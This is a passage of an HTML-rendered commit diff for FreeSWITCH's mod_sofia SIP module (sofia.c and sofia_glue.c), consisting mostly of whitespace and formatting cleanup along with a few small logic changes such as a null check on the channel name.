-                        sql = switch_mprintf("select call_id from sip_dialogs where call_info='%q' and sip_from_user='%q' and sip_from_host='%q' and call_id is not null",
-                                                                 switch_str_nil(p), user, host);
</del><span class="cx">
</span><ins>+                        sql =
+                                switch_mprintf
+                                ("select call_id from sip_dialogs where call_info='%q' and sip_from_user='%q' and sip_from_host='%q' and call_id is not null",
+                                 switch_str_nil(p), user, host);
+
</ins><span class="cx">                         if ((str = sofia_glue_execute_sql2str(profile, profile->ireg_mutex, sql, cid, sizeof(cid)))) {
</span><span class="cx">                                 bnh = nua_handle_by_call_id(nua, str);
</span><span class="cx">                         }
</span><span class="lines">@@ -6230,7 +6253,7 @@
</span><span class="cx">                         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "PICK SQL %s [%s] [%s] %d\n", sql, str, cid, !!bnh);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         free(sql);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -6263,7 +6286,7 @@
</span><span class="cx">                                         if (switch_core_session_check_interface(b_session, sofia_endpoint_interface)) {
</span><span class="cx">                                                 b_tech_pvt = switch_core_session_get_private(b_session);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((uuid = switch_channel_get_variable(b_channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                                                 switch_channel_set_variable(b_channel, "presence_call_info", NULL);
</span><span class="cx">                                                 switch_channel_set_variable(b_channel, "presence_call_info_full", NULL);
</span><span class="lines">@@ -6271,10 +6294,10 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 uuid = switch_core_session_get_uuid(b_session);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (uuid) {
</span><span class="cx">                                                 switch_core_session_t *c_session = NULL;
</span><del>-                                                int do_conf = 0;                                        
</del><ins>+                                                int do_conf = 0;
</ins><span class="cx">                                                 uuid = switch_core_session_strdup(b_session, uuid);
</span><span class="cx">
</span><span class="cx">                                                 if ((c_session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -6284,13 +6307,13 @@
</span><span class="cx">                                                         if (switch_core_session_check_interface(c_session, sofia_endpoint_interface)) {
</span><span class="cx">                                                                 c_tech_pvt = switch_core_session_get_private(c_session);
</span><span class="cx">                                                         }
</span><del>-                                                                
</del><span class="cx">
</span><del>-                                                        if (!one_leg &&
-                                                                (!b_tech_pvt || !sofia_test_flag(b_tech_pvt, TFLAG_SIP_HOLD)) &&
</del><ins>+
+                                                        if (!one_leg &&
+                                                                (!b_tech_pvt || !sofia_test_flag(b_tech_pvt, TFLAG_SIP_HOLD)) &&
</ins><span class="cx">                                                                 (!c_tech_pvt || !sofia_test_flag(c_tech_pvt, TFLAG_SIP_HOLD))) {
</span><span class="cx">                                                                 char *ext = switch_core_session_sprintf(b_session, "answer,conference:%s@sla+flags{mintwo}", uuid);
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 switch_channel_set_flag(c_channel, CF_REDIRECT);
</span><span class="cx">                                                                 switch_ivr_session_transfer(b_session, ext, "inline", NULL);
</span><span class="cx">                                                                 switch_ivr_session_transfer(c_session, ext, "inline", NULL);
</span><span class="lines">@@ -6299,7 +6322,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_core_session_rwunlock(c_session);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (do_conf) {
</span><span class="cx">                                                         destination_number = switch_core_session_sprintf(b_session, "answer,conference:%s@sla+flags{mintwo}", uuid);
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -6345,7 +6368,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if ((privacy = sip_privacy(sip))) {
</span><del>-                        char *full_priv_header = sip_header_as_string(nh->nh_home, (void *) privacy);
</del><ins>+                        char *full_priv_header = sip_header_as_string(nh->nh_home, (void *) privacy);
</ins><span class="cx">                         if (!zstr(full_priv_header)) {
</span><span class="cx">                                 switch_channel_set_variable(channel, "sip_Privacy", full_priv_header);
</span><span class="cx">                         }
</span><span class="lines">@@ -6373,8 +6396,8 @@
</span><span class="cx">                         } else if (!strncasecmp(un->un_name, "X-", 2) || !strncasecmp(un->un_name, "P-", 2)) {
</span><span class="cx">                                 if (!zstr(un->un_value)) {
</span><span class="cx">                                         char new_name[512] = "";
</span><del>-                                        int reps = 0;
-                                        for(;;) {
</del><ins>+                                        int reps = 0;
+                                        for (;;) {
</ins><span class="cx">                                                 char postfix[25] = "";
</span><span class="cx">                                                 if (reps > 0) {
</span><span class="cx">                                                         switch_snprintf(postfix, sizeof(postfix), "-%d", reps);
</span><span class="lines">@@ -6392,10 +6415,10 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(sofia_private = malloc(sizeof(*sofia_private)))) {
</span><span class="cx">                 abort();
</span><span class="cx">         }
</span><span class="lines">@@ -6403,7 +6426,7 @@
</span><span class="cx">         memset(sofia_private, 0, sizeof(*sofia_private));
</span><span class="cx">         sofia_private->is_call++;
</span><span class="cx">         tech_pvt->sofia_private = sofia_private;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((profile->pres_type)) {
</span><span class="cx">                 sofia_presence_set_chat_hash(tech_pvt, sip);
</span><span class="cx">         }
</span><span class="lines">@@ -6460,7 +6483,7 @@
</span><span class="cx">                         if (sip->sip_contact) {
</span><span class="cx">                                 full_contact = sip_header_as_string(nua_handle_home(tech_pvt->nh), (void *) sip->sip_contact);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (call_info_str && switch_stristr("appearance", call_info_str)) {
</span><span class="cx">                                 switch_channel_set_variable(channel, "presence_call_info_full", call_info_str);
</span><span class="cx">                                 if ((p = strchr(call_info_str, ';'))) {
</span><span class="lines">@@ -6476,16 +6499,16 @@
</span><span class="cx">                                                                  "values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q')",
</span><span class="cx">                                                                  call_id,
</span><span class="cx">                                                                  tech_pvt->sofia_private->uuid,
</span><del>-                                                                 to_user, to_host, dialog_from_user, dialog_from_host,
</del><ins>+                                                                 to_user, to_host, dialog_from_user, dialog_from_host,
</ins><span class="cx">                                                                  contact_user, contact_host, "confirmed", "inbound", user_agent,
</span><del>-                                                                 profile->name, mod_sofia_globals.hostname, switch_str_nil(full_contact),
</del><ins>+                                                                 profile->name, mod_sofia_globals.hostname, switch_str_nil(full_contact),
</ins><span class="cx">                                                                  switch_str_nil(presence_id), switch_str_nil(presence_data), switch_str_nil(p));
</span><span class="cx">
</span><span class="cx">                         switch_assert(sql);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sofia_glue_actually_execute_sql(profile, sql, profile->ireg_mutex);
</span><span class="cx">                         switch_safe_free(sql);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (is_nat) {
</span><span class="lines">@@ -6500,7 +6523,8 @@
</span><span class="cx">                 switch_mutex_lock(profile->flag_mutex);
</span><span class="cx">                 switch_core_session_limit(sess_count - 10);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "LUKE: I'm hit, but not bad.\n");
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "LUKE'S VOICE: Artoo, see what you can do with it. Hang on back there....\n"
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT,
+                                                 "LUKE'S VOICE: Artoo, see what you can do with it. Hang on back there....\n"
</ins><span class="cx">                                                  "Green laserfire moves past the beeping little robot as his head turns. "
</span><span class="cx">                                                  "After a few beeps and a twist of his mechanical arm,\n"
</span><span class="cx">                                                  "Artoo reduces the max sessions to %d thus, saving the switch from certain doom.\n", sess_count - 10);
</span><span class="lines">@@ -6519,7 +6543,7 @@
</span><span class="cx">         nua_respond(nh, 503, "Maximum Calls In Progress", SIPTAG_RETRY_AFTER_STR("300"), TAG_END());
</span><span class="cx">         return;
</span><span class="cx">
</span><del>- fail:
</del><ins>+ fail:
</ins><span class="cx">         profile->ib_failed_calls++;
</span><span class="cx">         return;
</span><span class="cx">
</span><span class="lines">@@ -6527,7 +6551,8 @@
</span><span class="cx">
</span><span class="cx"> void sofia_handle_sip_i_options(int status,
</span><span class="cx">                                                                 char const *phrase,
</span><del>-                                                                nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
</del><ins>+                                                                nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                tagi_t tags[])
</ins><span class="cx"> {
</span><span class="cx">         nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="cx"> }
</span><span class="lines">@@ -6540,13 +6565,13 @@
</span><span class="cx">         if (aleg && bleg && switch_core_session_compare(aleg, bleg)) {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(bleg);
</span><span class="cx">                 const char *ua = switch_channel_get_variable(channel, "sip_user_agent");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 a_tech_pvt = (private_object_t *) switch_core_session_get_private(aleg);
</span><span class="cx">                 b_tech_pvt = (private_object_t *) switch_core_session_get_private(bleg);
</span><span class="cx">
</span><span class="cx">                 if (b_tech_pvt && a_tech_pvt && a_tech_pvt->caller_profile) {
</span><span class="cx">                         switch_caller_profile_t *acp = a_tech_pvt->caller_profile;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (ua && switch_stristr("snom", ua)) {
</span><span class="cx">                                 if (zstr(acp->caller_id_name)) {
</span><span class="cx">                                         snprintf(message, sizeof(message), "From:\r\nTo: %s\r\n", acp->caller_id_number);
</span><span class="lines">@@ -6555,8 +6580,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                                 nua_info(b_tech_pvt->nh,
</span><span class="cx">                                                  SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
</span><del>-                                                 TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)),
-                                                 SIPTAG_PAYLOAD_STR(message), TAG_END());
</del><ins>+                                                 TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)), SIPTAG_PAYLOAD_STR(message), TAG_END());
</ins><span class="cx">                         } else if (ua && switch_stristr("polycom", ua)) {
</span><span class="cx">                                 if (zstr(acp->caller_id_name)) {
</span><span class="cx">                                         snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", acp->caller_id_number, acp->caller_id_number);
</span><span class="lines">@@ -6575,8 +6599,7 @@
</span><span class="cx">                                                          SOATAG_REUSE_REJECTED(1),
</span><span class="cx">                                                          SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
</span><span class="cx">                                                          TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                         TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)),
-                                                         TAG_END());
</del><ins>+                                                         TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)), TAG_END());
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         nua_update(b_tech_pvt->nh,
</span><span class="cx">                                                          NUTAG_MEDIA_ENABLE(0),
</span><span class="lines">@@ -6584,8 +6607,7 @@
</span><span class="cx">                                                          SIPTAG_CONTENT_TYPE_STR("application/sdp"),
</span><span class="cx">                                                          SIPTAG_PAYLOAD_STR(b_tech_pvt->local_sdp_str),
</span><span class="cx">                                                          TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                         TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)),
-                                                         TAG_END());
</del><ins>+                                                         TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofia_gluec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -82,7 +82,7 @@
</span><span class="cx">                                         "v=0\n"
</span><span class="cx">                                         "o=%s %010u %010u IN %s %s\n"
</span><span class="cx">                                         "s=%s\n"
</span><del>-                                        "c=IN %s %s\n"
</del><ins>+                                        "c=IN %s %s\n"
</ins><span class="cx">                                         "t=0 0\n"
</span><span class="cx">                                         "m=image %d udptl t38\n"
</span><span class="cx">                                         "a=T38MaxBitRate:%d\n"
</span><span class="lines">@@ -94,9 +94,8 @@
</span><span class="cx">                                         "a=T38FaxMaxDatagram:%d\n"
</span><span class="cx">                                         "a=T38FaxUdpEC:%s\n"
</span><span class="cx">                                         "a=T38VendorInfo:%s\n",
</span><del>-                                        
</del><span class="cx">                                         username,
</span><del>-                                        tech_pvt->owner_id,
</del><ins>+                                        tech_pvt->owner_id,
</ins><span class="cx">                                         tech_pvt->session_id,
</span><span class="cx">                                         family,
</span><span class="cx">                                         ip,
</span><span class="lines">@@ -104,18 +103,13 @@
</span><span class="cx">                                         family,
</span><span class="cx">                                         ip,
</span><span class="cx">                                         port,
</span><del>-                                        
</del><span class="cx">                                         t38_options->T38MaxBitRate,
</span><span class="cx">                                         t38_options->T38FaxFillBitRemoval ? "a=T38FaxFillBitRemoval\n" : "",
</span><span class="cx">                                         t38_options->T38FaxTranscodingMMR ? "a=T38FaxTranscodingMMR\n" : "",
</span><span class="cx">                                         t38_options->T38FaxTranscodingJBIG ? "a=T38FaxTranscodingJBIG\n" : "",
</span><span class="cx">                                         t38_options->T38FaxRateManagement,
</span><del>-                                        t38_options->T38FaxMaxBuffer,
-                                        t38_options->T38FaxMaxDatagram,
-                                        t38_options->T38FaxUdpEC,
-                                        t38_options->T38VendorInfo
-                                        );
-        
</del><ins>+                                        t38_options->T38FaxMaxBuffer, t38_options->T38FaxMaxDatagram, t38_options->T38FaxUdpEC, t38_options->T38VendorInfo);
+
</ins><span class="cx">         sofia_glue_tech_set_local_sdp(tech_pvt, buf, SWITCH_TRUE);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -183,12 +177,12 @@
</span><span class="cx">
</span><span class="cx">         tech_pvt->session_id++;
</span><span class="cx">
</span><del>-        if ((tech_pvt->profile->ndlb & PFLAG_NDLB_SENDRECV_IN_SESSION) ||
-                ((var_val=switch_channel_get_variable(tech_pvt->channel, "ndlb_sendrecv_in_session")) && switch_true(var_val))) {
</del><ins>+        if ((tech_pvt->profile->ndlb & PFLAG_NDLB_SENDRECV_IN_SESSION) ||
+                ((var_val = switch_channel_get_variable(tech_pvt->channel, "ndlb_sendrecv_in_session")) && switch_true(var_val))) {
</ins><span class="cx">                 switch_snprintf(srbuf, sizeof(srbuf), "a=%s\n", sr);
</span><span class="cx">                 sr = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         family = strchr(ip, ':') ? "IP6" : "IP4";
</span><span class="cx">         switch_snprintf(buf, sizeof(buf),
</span><span class="cx">                                         "v=0\n"
</span><span class="lines">@@ -196,12 +190,10 @@
</span><span class="cx">                                         "s=%s\n"
</span><span class="cx">                                         "c=IN %s %s\n" "t=0 0\n"
</span><span class="cx">                                         "%sm=audio %d RTP/%sAVP",
</span><del>-                                        username,
-                                        tech_pvt->owner_id, tech_pvt->session_id, family, ip, username, family, ip,
-                                        srbuf,
-                                        port,
-                                        (!zstr(tech_pvt->local_crypto_key)
-                                        && sofia_test_flag(tech_pvt,TFLAG_SECURE)) ? "S" : "");
</del><ins>+                                        username, tech_pvt->owner_id, tech_pvt->session_id, family, ip, username, family, ip, srbuf, port, (!zstr(tech_pvt->local_crypto_key)
+                                                                                                                                                                                                                                                && sofia_test_flag(tech_pvt,
+                                                                                                                                                                                                                                                                                 TFLAG_SECURE)) ?
+                                        "S" : "");
</ins><span class="cx">
</span><span class="cx">         if (tech_pvt->rm_encoding) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), " %d", tech_pvt->pt);
</span><span class="lines">@@ -293,14 +285,14 @@
</span><span class="cx">         if (append_audio) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s%s", append_audio, end_of(append_audio) == '\n' ? "" : "\n");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ptime) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=ptime:%d\n", ptime);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (sr) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=%s\n", sr);
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (!zstr(tech_pvt->local_crypto_key) && sofia_test_flag(tech_pvt, TFLAG_SECURE)) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=crypto:%s\n", tech_pvt->local_crypto_key);
</span><span class="lines">@@ -344,7 +336,7 @@
</span><span class="cx">
</span><span class="cx">                 if ((v_port = tech_pvt->adv_sdp_video_port)) {
</span><span class="cx">                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "m=video %d RTP/AVP", v_port);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /*****************************/
</span><span class="cx">                         if (tech_pvt->video_rm_encoding) {
</span><span class="cx">                                 sofia_glue_tech_set_video_codec(tech_pvt, 0);
</span><span class="lines">@@ -374,23 +366,28 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "\n");
</span><del>-
</del><ins>+                        
</ins><span class="cx">                         if (tech_pvt->video_rm_encoding) {
</span><span class="cx">                                 const char *of;
</span><span class="cx">                                 rate = tech_pvt->video_rm_rate;
</span><span class="cx">                                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=rtpmap:%d %s/%ld\n", tech_pvt->video_pt, tech_pvt->video_rm_encoding,
</span><span class="cx">                                                                 tech_pvt->video_rm_rate);
</span><span class="cx">
</span><del>-                                pass_fmtp = NULL;
</del><ins>+                                if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
+                                        pass_fmtp = tech_pvt->video_rm_fmtp;
+                                } else {
</ins><span class="cx">
</span><del>-                                if (switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE)) {
-                                        if ((of = switch_channel_get_variable_partner(tech_pvt->channel, "sip_video_fmtp"))) {
-                                                pass_fmtp = of;
</del><ins>+                                        pass_fmtp = NULL;
+
+                                        if (switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE)) {
+                                                if ((of = switch_channel_get_variable_partner(tech_pvt->channel, "sip_video_fmtp"))) {
+                                                        pass_fmtp = of;
+                                                }
</ins><span class="cx">                                         }
</span><del>-                                }
</del><span class="cx">
</span><del>-                                if (ov_fmtp) {
-                                        pass_fmtp = ov_fmtp;
</del><ins>+                                        if (ov_fmtp) {
+                                                pass_fmtp = ov_fmtp;
+                                        }
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (pass_fmtp) {
</span><span class="lines">@@ -432,13 +429,14 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><ins>+
</ins><span class="cx">         sofia_glue_tech_set_local_sdp(tech_pvt, buf, SWITCH_TRUE);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> const char *sofia_glue_get_codec_string(private_object_t *tech_pvt)
</span><span class="cx"> {
</span><span class="cx">         const char *codec_string = NULL, *preferred = NULL, *fallback = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_direction(tech_pvt->channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                 preferred = tech_pvt->profile->outbound_codec_string;
</span><span class="cx">                 fallback = tech_pvt->profile->inbound_codec_string;
</span><span class="lines">@@ -448,7 +446,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         codec_string = !zstr(preferred) ? preferred : fallback;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return codec_string;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -489,9 +487,9 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
- ready:
</del><span class="cx">
</span><ins>+ ready:
+
</ins><span class="cx">         if (codec_string) {
</span><span class="cx">                 char *tmp_codec_string;
</span><span class="cx">                 if ((tmp_codec_string = switch_core_session_strdup(tech_pvt->session, codec_string))) {
</span><span class="lines">@@ -539,7 +537,7 @@
</span><span class="cx">         switch_mutex_lock(profile->flag_mutex);
</span><span class="cx">
</span><span class="cx">         /* copy flags from profile to the sofia private */
</span><del>-        for(x = 0; x < TFLAG_MAX; x++ ) {
</del><ins>+        for (x = 0; x < TFLAG_MAX; x++) {
</ins><span class="cx">                 tech_pvt->flags[x] = profile->flags[x];
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -571,17 +569,20 @@
</span><span class="cx">         switch_channel_set_cap(tech_pvt->channel, CC_MEDIA_ACK);
</span><span class="cx">         switch_channel_set_cap(tech_pvt->channel, CC_BYPASS_MEDIA);
</span><span class="cx">         switch_channel_set_cap(tech_pvt->channel, CC_PROXY_MEDIA);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_set_private(session, tech_pvt);
</span><span class="cx">
</span><del>-        switch_snprintf(name, sizeof(name), "sofia/%s/%s", profile->name, channame);
-        if ((p = strchr(name, ';'))) {
-                *p = '\0';
</del><ins>+        if (channame) {
+                switch_snprintf(name, sizeof(name), "sofia/%s/%s", profile->name, channame);
+                if ((p = strchr(name, ';'))) {
+                        *p = '\0';
+                }
+                switch_channel_set_name(tech_pvt->channel, name);
</ins><span class="cx">         }
</span><del>-        switch_channel_set_name(tech_pvt->channel, name);
</del><span class="cx"> }
</span><span class="cx">
</span><del>-switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port, const char *sourceip, switch_memory_pool_t *pool)
</del><ins>+switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port,
+                                                                                         const char *sourceip, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         char *error = "";
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -606,7 +607,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Trying to use STUN but its disabled!\n");
</span><span class="cx">                         goto out;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 stun_ip = strdup(sourceip + 5);
</span><span class="cx">
</span><span class="cx">                 if ((p = strchr(stun_ip, ':'))) {
</span><span class="lines">@@ -624,7 +625,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 for (x = 0; x < 5; x++) {
</span><del>-                        if (sofia_test_pflag(profile, PFLAG_FUNNY_STUN) ||
</del><ins>+                        if (sofia_test_pflag(profile, PFLAG_FUNNY_STUN) ||
</ins><span class="cx">                                 (tech_pvt && (var = switch_channel_get_variable(tech_pvt->channel, "funny_stun")) && switch_true(var))) {
</span><span class="cx">                                 error = "funny";
</span><span class="cx">                                 funny++;
</span><span class="lines">@@ -662,11 +663,11 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                *ip = (char*)sourceip;
</del><ins>+                *ip = (char *) sourceip;
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- out:
</del><ins>+ out:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(stun_ip);
</span><span class="cx">
</span><span class="lines">@@ -713,23 +714,23 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         tech_pvt->local_sdp_audio_ip = tech_pvt->profile->rtpip;
</span><del>-        
</del><ins>+
</ins><span class="cx">         sdp_port = tech_pvt->local_sdp_audio_port;
</span><span class="cx">
</span><del>-        if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_audio_ip"))
</del><ins>+        if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_audio_ip"))
</ins><span class="cx">                 && !zstr(tech_pvt->profile->extrtpip)) {
</span><del>-                        use_ip = tech_pvt->profile->extrtpip;
</del><ins>+                use_ip = tech_pvt->profile->extrtpip;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (use_ip) {
</span><del>-                if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &lookup_rtpip, &sdp_port,
</del><ins>+                if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &lookup_rtpip, &sdp_port,
</ins><span class="cx">                                                                                  use_ip, switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         /* Address lookup was required and fail (external ip was "host:..." or "stun:...") */
</span><del>-                        return SWITCH_STATUS_FALSE;        
</del><ins>+                        return SWITCH_STATUS_FALSE;
</ins><span class="cx">                 } else {
</span><span class="cx">                         if (lookup_rtpip == use_ip) {
</span><span class="cx">                                 /* sofia_glue_ext_address_lookup didn't return any error, but the return IP is the same as the original one,
</span><del>-                                which means no lookup was necessary. Check if NAT is detected */
</del><ins>+                                 which means no lookup was necessary. Check if NAT is detected */
</ins><span class="cx">                                 if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
</span><span class="cx">                                         /* Yes, map the port through switch_nat */
</span><span class="cx">                                         switch_nat_add_mapping(tech_pvt->local_sdp_audio_port, SWITCH_NAT_UDP, &sdp_port, SWITCH_FALSE);
</span><span class="lines">@@ -738,7 +739,7 @@
</span><span class="cx">                                         use_ip = tech_pvt->profile->rtpip;
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><del>-                                /* Address properly resolved, use it as external ip */
</del><ins>+                                /* Address properly resolved, use it as external ip */
</ins><span class="cx">                                 use_ip = lookup_rtpip;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -746,7 +747,7 @@
</span><span class="cx">                 /* No NAT traversal required, use the profile's rtp ip */
</span><span class="cx">                 use_ip = tech_pvt->profile->rtpip;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         tech_pvt->adv_sdp_audio_port = sdp_port;
</span><span class="cx">         tech_pvt->adv_sdp_audio_ip = tech_pvt->extrtpip = switch_core_session_strdup(tech_pvt->session, use_ip);
</span><span class="cx">
</span><span class="lines">@@ -784,20 +785,20 @@
</span><span class="cx">
</span><span class="cx">         sdp_port = tech_pvt->local_sdp_video_port;
</span><span class="cx">
</span><del>-        if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_video_ip"))
</del><ins>+        if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_video_ip"))
</ins><span class="cx">                 && !zstr(tech_pvt->profile->extrtpip)) {
</span><del>-                        use_ip = tech_pvt->profile->extrtpip;
</del><ins>+                use_ip = tech_pvt->profile->extrtpip;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (use_ip) {
</span><del>-                if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &lookup_rtpip, &sdp_port,
</del><ins>+                if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &lookup_rtpip, &sdp_port,
</ins><span class="cx">                                                                                  use_ip, switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         /* Address lookup was required and fail (external ip was "host:..." or "stun:...") */
</span><del>-                        return SWITCH_STATUS_FALSE;        
</del><ins>+                        return SWITCH_STATUS_FALSE;
</ins><span class="cx">                 } else {
</span><span class="cx">                         if (lookup_rtpip == use_ip) {
</span><span class="cx">                                 /* sofia_glue_ext_address_lookup didn't return any error, but the return IP is the same as the original one,
</span><del>-                                which means no lookup was necessary. Check if NAT is detected */
